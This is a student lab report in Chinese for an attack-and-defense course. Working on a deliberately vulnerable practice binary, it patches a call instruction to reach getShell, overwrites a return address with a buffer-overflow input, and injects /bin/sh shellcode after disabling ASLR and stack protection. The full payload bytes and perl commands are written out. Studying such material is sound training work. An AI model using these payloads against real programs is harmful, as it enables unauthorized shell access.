20232803 2023-2024-2 《网络攻防实践》实践九报告

目录

    • 1.实践内容
    • 2.实践过程
      • 2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
      • 2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
      • 2.3 注入一个自己制作的shellcode并运行这段shellcode
    • 3.学习中遇到的问题及解决
    • 4.实践总结

1.实践内容

  • 本次实践的对象是一个名为pwn1的linux可执行文件。

    • 该程序正常执行流程是:main调用foo函数, foo函数会简单回显任何用户输入的字符串。

    • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。


  • 实践内容如下:
  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

  • 实验要求:
  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
  • 掌握反汇编与十六进制编程器
  • 能正确修改机器指令改变程序执行流程
  • 能正确构造payload进行bof攻击

2.实践过程

  • 参考Ubuntu系统修改用户名和主机名修改主机名
    在这里插入图片描述

2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

  • 在学习通中下载目标文件pwn1上传到Kali中,将其重命名为pwn20232803
    在这里插入图片描述

  • 切换到桌面目录下,输入命令objdump -d pwn20232803 | more对该文件进行反汇编
    在这里插入图片描述

  • 敲击回车键,查看更多内容,找到main函数
    在这里插入图片描述
    main函数中我们可以看到call 8048491,而地址8048491正对应foo函数,即main函数调用了foo函数。继续查看foo函数,可以发现该函数实现了回显用户输入的字符串的功能。
    实验要求我们手动更改文件,使得它直接跳转到getShell函数。因此,我们需要对这一条指令进行修改。在修改之前,我们先对这条指令进行分析。
    对于80484b5: e8 d7 ff ff ff

    • 80484b5表示该指令的地址
    • e8表示跳转
    • d7 ff ff ff表示偏移量,这个偏移量是下一条要执行的指令的地址与目的地址之间的距离,以补码的形式表示,并且采用大端模式(低位字节存入高地址)存储,这里表示-41
    • 下一条要执行的指令的地址为80484ba,因此,这条指令的含义是:执行地址为80484ba - 41 = 8048491的指令,8048491正好对应foo函数的起点

    经过上述分析,修改程序执行流程就变得容易了。
    getShell函数的首地址为804847d,那么偏移量为804847d - 80484ba = -61 = 0xffffffc3,采用大端模式存储,即为c3ffffff
    因此,将这条指令修改为80484b5: e8 c3 ff ff ff即可实现直接跳转到getShell函数

  • 输入命令sudo apt install xxd安装xxd
    在这里插入图片描述

  • 输入命令vim pwn20232803打开文件
    在这里插入图片描述

  • 文件内容如下,可以看到都是乱码
    在这里插入图片描述

  • 输入:%!xxd将文件转换成16进制显示
    在这里插入图片描述

  • 输入/e8 d7进行搜索,然后敲击回车键
    在这里插入图片描述

  • i键进入输入模式,将d7修改为c3
    在这里插入图片描述

  • ESC键,输入:%!xxd -r转回原格式,然后输入:wq保存并退出
    在这里插入图片描述

  • 再次输入objdump -d pwn20232803 | more查看反汇编代码
    在这里插入图片描述
    可以看到这里显示了call 8048474 <getShell>,说明计算是正确的,并且修改成功

  • 输入./pwn20232803运行文件
    在这里插入图片描述
    可以看到该文件成功调用getShell函数获取了Shell

2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

  • 将刚才的pwn20232803文件重命名为pwn20232803-old,再上传一个pwn文件,重命名为pwn20232803

  • 再次输入objdump -d pwn20232803 | more查看反汇编得到的代码
    在这里插入图片描述
    可以看到,在foo函数中,调用了getsputs两个函数,如果输入的字符串长度超过了缓冲区容量,会发生缓冲区溢出的情况。
    foo函数共有0x38个字节作为存储空间,给输入的字符串分配了28字节(0x1c)的空间,我们要构造一个攻击输入字符串,使它能够将return的地址覆盖为getShell地址,从而通过调用getShell函数获取Shell

  • getShell的首地址为0x0804847d,该地址在指令中应该用\x7d\x84\x04\x08作为输入。由于我们通过键盘直接输入这种16进制数,所以采用以下命令将字符串输入并存储到文件中

perl -e 'print "wwwwwwwwwwjjjjjjjjjjllllllllllll\x7d\x84\x04\x08"' > input20232803
  • 输入命令xxd input20232803查看文件,确保字符串的最后4个字节为getShell函数的地址
    在这里插入图片描述
  • 输入命令(cat input20232803;cat) | ./pwn20232803input文件的内容作为pwn文件的输入,实施Bof攻击
    在这里插入图片描述
    提示拒绝访问
    • 修改pwn文件属性,勾选Allow this file to run as a program在这里插入图片描述
  • 再次运行命令(cat input20232803;cat) | ./pwn20232803,成功调用getShell获取Shell
    在这里插入图片描述
    BOF攻击成功!

2.3 注入一个自己制作的shellcode并运行这段shellcode

  • 进入以下网站下载execstack
http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb
  • 输入命令sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb进行解压
    在这里插入图片描述
  • 输入命令sudo execstack -s ./pwn20232803将文件的堆栈设置为可执行状态
  • 输入命令sudo execstack -q ./pwn20232803检查是否设置成功
    在这里插入图片描述
  • 输入命令echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化
  • 输入命令more /proc/sys/kernel/randomize_va_space检查是否关闭成功,输入0表示已关闭,输出1则为开启
    在这里插入图片描述
  • 构造攻击的方法有retaddr+nop+shellcodenop+shellcode+retaddr,我们选择前者,shellcode的内容如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
  • 使用以下命令构造shellcode的输入,其中\x1\x2\x3\x4将在后面替换为foo函数中retaddr的地址
perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
  • 输入命令(cat input_shellcode; cat) | ./pwn20232803input_shellcode文件的内容作为pwn文件的输入
    在这里插入图片描述
  • 打开另一个终端,输入命令ps -ef | grep pwn20232803查看pwn20232803文件的进程以及进程号
    在这里插入图片描述
    从输出结果中可以看到,pwn20232803文件的进程号为73465
  • 在该终端中继续输入gdb pwn20232803进行调试,以获取foo函数中retaddr的地址

注:若没安装gdb,则需要先输入sudo apt install gdb进行安装
在这里插入图片描述

  • 输入命令attach 73465查看进程,73465为刚刚查看的进程号
  • 输入命令disassemble foofoo函数进行反汇编
    在这里插入图片描述
    可以看到,ret的地址为0x080484ae
  • 输入命令break *0x080484ae设置断点,然后输入c继续执行

注:这里输入c后,要在第一个终端里按一下回车键,才能中断于断点处,否则将一直保持continuing状态

在这里插入图片描述

  • 输入命令info r esp查看栈顶指针所在的位置
    在这里插入图片描述
    栈顶指针所在的位置为0xffffd39c
  • 再输入命令x/16x 0xffffd39c查看该位置存放的内容
    在这里插入图片描述
    其中,0x04030201即为返回地址的位置。因此,栈顶指针的地址 + 4即为shellcode的地址。
0xffffd39c + 4 = 0xffffd3a0
  • 将之前shellcode输入中的\x1\x2\x3\x4采用大端模式替换为\xa0\xd3\xff\xff
perl -e 'print "A" x 32;print "\xa0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode
  • 输入命令(cat input_shellcode; cat) | ./pwn20232803再次运行,成功获取Shell
    在这里插入图片描述
    攻击成功!

3.学习中遇到的问题及解决

  • 问题1:输入vim pwn20232803打开文件后,输入:%!xxd无法转换成16进制
    • 解决方案:原因是没有安装xdd,使用sudo apt install xdd进行安装
  • 问题2:在shellcode实验中,gdb调试时输入c后,一直保持在continuing的状态
    • 解决方案:在第一个终端中按回车键,gdb便能继续运行了

4.实践总结

这次实践分为三个部分:

  • 第一个实践让我深入了解了汇编指令和机器码的工作原理,使我能够准确地修改机器指令,改变程序的执行流程。
  • 在第二个实践中,通过利用缓冲区溢出漏洞,我学会了如何构造特定的输入字符串来覆盖函数的返回地址并触发目标函数,这个过程让我深刻理解了缓冲区溢出攻击的原理和危害。
  • 在第三个实践中,通过注入自己制作的Shellcode,可以执行特定的命令或程序。但要注意的是,系统一般有防御机制来阻止恶意代码的注入和执行,如地址随机化、栈保护等。在注入Shellcode之前,需要先绕过这些保护机制。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/704228.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

优秀博士学位论文分享:复杂场景下高精度有向目标检测的研究

优秀博士学位论文代表了各学科领域博士研究生研究成果的最高水平&#xff0c;本公众号近期将推出“优秀博士学位论文分享”系列文章&#xff0c;对人工智能领域2023年优秀博士学位论文进行介绍和分享&#xff0c;方便广大读者了解人工智能领域最前沿的研究进展。 “博士学位论…

VMware17虚拟机安装Kali Linux2024详解

目录 简介 一、环境搭建 二、下载ISO镜像 三、新建虚拟机 为虚拟机选择合适的操作系统类型和版本 分配适当的内存、硬盘空间和其他虚拟机配置选项 四、硬件配置 编辑虚拟机设置 选择安装介质 五、界面化安装配置 简介 Kali Linux是一个基于Debian的Linux发行版&#…

PopupMenuButton 颜色设置

前言&#xff1a; 今天在使用 flutter PopupMenuItem 的时候想设置它的选中颜色 和 点击颜色的时候&#xff0c;发现并没有相应的属性设置&#xff0c;后才测试才发现是需要 通过 Theme属性 来设置的 正确姿势&#xff1a; 是要通过 Theme 属性来设置&#xff0c;我这只是临时…

基于CentOS-7搭建hadoop3.3.6大数据集群(保姆级教程)

目录 安装虚拟机 为hadoop用户添加权限 关闭防火墙 修改主机名以及ip地址映射 配置ip 连接xshell &#xff0c;以hadoop用户登录 创建目录并将该文件夹权限赋予hadoop用户 安装配置jdk 关闭虚拟机&#xff0c;克隆其他两个节点 修改主机名和ip地址 配置免密登录 安装…

MT3038 植发

思路&#xff1a; 有两个点可以取头发&#xff0c;每个头发寿命不同。 先看点(0,0)&#xff0c;按寿命由小到大排序&#xff08;先考虑寿命短的可以移植到哪里&#xff09;。 (0,0)点头发放置的位置应该让(0,m)点的头发可以尽可能多的放置&#xff08;例如(0,0)点有一根头发…

JavaScript-输入输出语句

输出语句 document.write( 输出的内容 ) 语法&#xff1a;document.write( 输出的内容) 作用&#xff1a;内容会显示在网页上 如果输出的内容是标签&#xff0c;也会被解析为网页元素 代码&#xff1a; <!DOCTYPE html> <html lang"en"> <head>&…

六种恢复已删除PDF文件的方法及实用方法全解析

在数字化时代PDF文件已成为我们日常工作中不可或缺的一部分。有时我们可能会因误操作或系统故障而不小心删除Excel、Word或PPT文档&#xff0c;特别是重要的PDF文件。此时如何高效地恢复这些文件就显得尤为重要。今天将为大家介绍六种恢复已删除PDF文件恢复方法&#xff0c;继续…

Day28 代码随想录打卡|栈与队列篇---逆波兰表达式求值

题目&#xff08;leecode T150&#xff09;&#xff1a; 给你一个字符串数组 tokens &#xff0c;表示一个根据 逆波兰表示法 表示的算术表达式。 请你计算该表达式。返回一个表示表达式值的整数。 注意&#xff1a; 有效的算符为 、-、* 和 / 。每个操作数&#xff08;运算…

数据结构——二叉树知识点详解!

引言&#xff1a;本篇博客将详细介绍到数据结构中的又一位大将——二叉树。它也是我们目前学到的第一个非线性的数据结构。并且本章将学到的概念居多&#xff0c;希望大家可以理解并牢记。 更多有关C语言和数据结构知识详解可前往个人主页&#xff1a;计信猫 目录 一&#xff0…

(论文笔记)TABDDPM:使用扩散模型对表格数据进行建模

了解diffusion model&#xff1a;什么是diffusion model? 它为什么好用&#xff1f; - 知乎 摘要 去噪扩散概率模型目前正成为许多重要数据模式生成建模的主要范式。扩散模型在计算机视觉社区中最为流行&#xff0c;最近也在其他领域引起了一些关注&#xff0c;包括语音、NLP…

首次曝光!我喂了半年主食冻干,喵状态真滴顶~

科学养猫理念的推广&#xff0c;使得主食冻干喂养越来越受到养猫者的欢迎。主食冻干不仅符合猫咪的自然饮食习惯&#xff0c;还能提供丰富的营养&#xff0c;有助于保持猫咪的口腔和消化系统健康。我家喂了半年主食冻干&#xff0c;猫咪的状态是真的不一样了&#xff01; 然而…

knife4j在线文档 测试框架

一、Knife4j介绍&#xff1a; 1.1.介绍&#xff1a; Knife4j是基于SpringBoot构建的一个文档生成工具&#xff0c;它可以让开发者为我们的应用生成在线API文档&#xff1b; 目的是可以更加方便的基于API文档进行测试。 生成的文档还可以导出&#xff0c;然后给到前端开发团队…